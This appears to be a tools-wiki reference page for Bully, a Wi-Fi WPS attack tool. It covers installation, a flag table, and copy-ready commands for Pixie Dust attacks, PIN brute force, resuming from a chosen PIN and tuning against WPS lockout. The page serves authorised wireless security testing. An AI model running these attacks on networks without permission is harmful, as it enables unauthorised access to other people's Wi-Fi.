Skip to main content

​
Overview

Bully performs WPS PIN brute force and Pixie Dust attacks. Alternative to Reaver with different WPS state machine implementation — useful when Reaver fails or stalls on certain APs.

​
Install

sudo apt install bully

​
Usage

bully <interface> -b <BSSID> [options]
FlagDescription
-b <BSSID>Target AP MAC address
-c <channel>Target channel
-dEnable Pixie Dust attack
-v <1-3>Verbosity level (3 = max)
-p <N>Starting PIN number (7/8 digits) for the sequential search
-s <macaddr>Source (hardware) MAC address to use
-e <ESSID>Target SSID
-t <sec>Timeout per attempt
-l <sec>Seconds to wait if the AP locks WPS (default 43)
-r <count>Retries before giving up
-5Hop on 5 GHz (a/n) default channel list
-BBruteforce the BSSID

​
Pixie Dust Attack

sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -d -v 3

​
PIN Brute Force

sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3

​
Resume from Specific PIN

sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -p 12340000 -v 3

​
Tune for Slow APs

sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -l 5 -r 3 -v 3